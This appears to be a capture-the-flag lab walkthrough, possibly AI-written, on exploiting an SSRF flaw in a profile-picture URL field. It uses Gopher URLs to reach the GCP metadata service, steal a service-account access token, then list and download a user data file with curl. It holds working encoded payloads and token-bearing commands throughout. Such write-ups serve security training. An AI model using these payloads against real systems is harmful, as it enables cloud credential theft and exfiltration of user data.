Exploit SSRF Gopher GCP Initial Access

Analyze the challenge

The challenge is exploiting an SSRF vulnerability using the Gopher protocol to gain initial access to a GCP environment. This involves using the Gopher protocol to bypass SSRF protections and access the GCP metadata service.

Plan of action

1. **Identify the SSRF Vulnerability:**
    - Locate the functionality in the web application that allows users to input URLs.
    - Confirm the SSRF vulnerability by testing with external URLs and observing the application's response.
2. **Bypass SSRF Protection with Gopher:**
    - Understand the Gopher protocol and how it can be used to craft HTTP requests.
    - Construct a Gopher URL that encapsulates an HTTP request to the GCP metadata service, including the necessary `Metadata-Flavor: Google` header.
3. **Access the GCP Metadata Service:**
    - Use Burp Suite to intercept and modify requests to the vulnerable endpoint.
    - Replace the legitimate URL with the crafted Gopher payload.
    - Send the modified request to the server.
4. **Enumerate Service Accounts and Obtain Access Token:**
    - Analyze the response from the metadata service to identify associated service accounts.
    - Modify the Gopher payload to request an access token for the identified service account.
    - Extract the access token from the server's response.
5. **Authenticate and Access GCP Resources:**
    - Set the `GOOGLE_ACCESS_TOKEN` environment variable with the extracted token.
    - Use `curl` to make authenticated requests to GCP API endpoints, such as listing objects in a storage bucket.
6. **Locate and Download Sensitive Data:**
    - Identify sensitive files or data within the accessible GCP resources.
    - Use `curl` with the access token to download the identified files.
7. **Identify the SSRF Vulnerability:**
    - The walkthrough indicates that the `profile.php` page allows users to set a profile picture by providing a URL. This is a potential SSRF vulnerability.

- Testing with `http://example.com` as the URL parameter value confirms the vulnerability, as the application fetches and displays the content of the external URL.

8. **Bypass SSRF Protection with Gopher:**
   - The Gopher protocol allows crafting raw TCP packets, which can be used to create HTTP requests.
   - The Gopher URL will be constructed as follows:

     ```
     gopher://metadata.google.internal:80/xGET%2520/computeMetadata/v1/instance/service-accounts/%2520HTTP%252f%2531%252e%2531%250AHost:%2520metadata.google.internal%250AAccept:%2520%252a%252f%252a%250aMetadata-Flavor:%2520Google%250d%250a
     ```

     This URL encodes an HTTP GET request to the metadata service, including the `Metadata-Flavor: Google` header.
9. **Access the GCP Metadata Service:**
   - Using Burp Suite, intercept the request to `profile.php` when submitting a URL.
   - Replace the URL parameter value with the crafted Gopher payload.
   - Send the modified request to the server.
10. **Enumerate Service Accounts and Obtain Access Token:**
    - The response from the initial Gopher request will list the associated service accounts.
    - Modify the Gopher payload to request a token for the identified service account (`bucketviewer@gr-proj-1.iam.gserviceaccount.com`):

      ```
      gopher://metadata.google.internal:80/xGET%2520/computeMetadata/v1/instance/service-accounts/bucketviewer@gr-proj-1.iam.gserviceaccount.com/token%2520HTTP%252f%2531%252e%2531%250AHost:%2520metadata.google.internal%250AAccept:%2520%252a%252f%252a%250aMetadata-Flavor:%2520Google%250d%250a
      ```
    - Extract the access token from the HTML-encoded response.
11. **Authenticate and Access GCP Resources:**
    - Set the `GOOGLE_ACCESS_TOKEN` environment variable: `export GOOGLE_ACCESS_TOKEN=<token>`
    - Use `curl` with the `-H "Authorization: Bearer $GOOGLE_ACCESS_TOKEN"` header to make authenticated requests.
    - For example, list objects in the `gigantic-retail` bucket:

      ```
      curl -H "Authorization: Bearer $GOOGLE_ACCESS_TOKEN" "https://www.googleapis.com/storage/v1/b/gigantic-retail/o"
      ```

12. **Locate and Download Sensitive Data:**
    - The `curl` command to list objects reveals a file named `user_data.csv`.
    - Download the file using the provided `mediaLink`:

      ```
      curl -H "Authorization: Bearer $GOOGLE_ACCESS_TOKEN"
      "https://www.googleapis.com/download/storage/v1/b/gigantic-
      retail/o/userdata%2Fuser_data.csv?
      generation=1703877006716190&alt=media"
      ```

Here goes:

Here's a breakdown of the steps to exploit the SSRF vulnerability and gain initial access to the GCP environment:

1. Identify the SSRF Vulnerability

- **Locate the vulnerable functionality:** The `profile.php` page allows users to set a profile picture by providing a URL. This is a potential SSRF vulnerability.
- **Confirm the SSRF vulnerability:**
  - Submit a URL like `http://example.com` in the profile picture field.
  - Observe that the application fetches and displays the content of `example.com`, confirming the SSRF vulnerability.

2. Bypass SSRF Protection with Gopher

- **Understand the Gopher protocol:** Gopher allows crafting raw TCP packets, which can be used to create HTTP requests.
- **Construct the Gopher payload:**

  ```
  gopher://metadata.google.internal:80/xGET%2520/computeMetadata/v1/inst
  ance/service-
  accounts/%2520HTTP%252f%2531%252e%2531%250AHost:%2520metadata.google.i
  nternal%250AAccept:%2520%252a%252f%252a%250aMetadata-
  Flavor:%2520Google%250d%250a
  ```

  This payload encodes an HTTP GET request to the metadata service, including the required `Metadata-Flavor: Google` header.

3. Access the GCP Metadata Service

- **Use Burp Suite:** Intercept the request to `profile.php` when submitting a URL.
- **Modify the request:** Replace the `url` parameter value with the crafted Gopher payload.
- **Send the request:** Send the modified request to the server.

4. Enumerate Service Accounts and Obtain Access Token

- **Analyze the response:** The response from the initial Gopher request will list the associated service accounts, including `bucketviewer@gr-proj-1.iam.gserviceaccount.com`.
- **Modify the Gopher payload:**

```
gopher://metadata.google.internal:80/xGET%2520/computeMetadata/v1/instance/service-accounts/bucketviewer@gr-proj-1.iam.gserviceaccount.com/token%2520HTTP%252f%2531%252e%2531%250AHost:%2520metadata.google.internal%250AAccept:%2520%252a%252f%252a%250aMetadata-Flavor:%2520Google%250d%250a
```

- **Send the modified request:** This will request an access token for the identified service account.
- **Extract the access token:** The response will contain the access token, HTML-encoded. Use Burp Suite's decoder to extract the plain text token.

5. Authenticate and Access GCP Resources

- **Set the environment variable:**

```
export GOOGLE_ACCESS_TOKEN=<your_extracted_token>
```

- **Use `curl` for authenticated requests:**

```
curl -H "Authorization: Bearer $GOOGLE_ACCESS_TOKEN" "https://www.googleapis.com/storage/v1/b/gigantic-retail/o"
```

This command lists objects in the `gigantic-retail` bucket.

6. Locate and Download Sensitive Data

- **Identify sensitive files:** The output of the previous `curl` command reveals a file named `user_data.csv`.
- **Download the file:**

```
curl -H "Authorization: Bearer $GOOGLE_ACCESS_TOKEN" "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/userdata%2Fuser_data.csv?generation=1703877006716190&alt=media"
```

This command downloads the `user_data.csv` file, which contains sensitive user information.

- The flag is also stored in the bucket.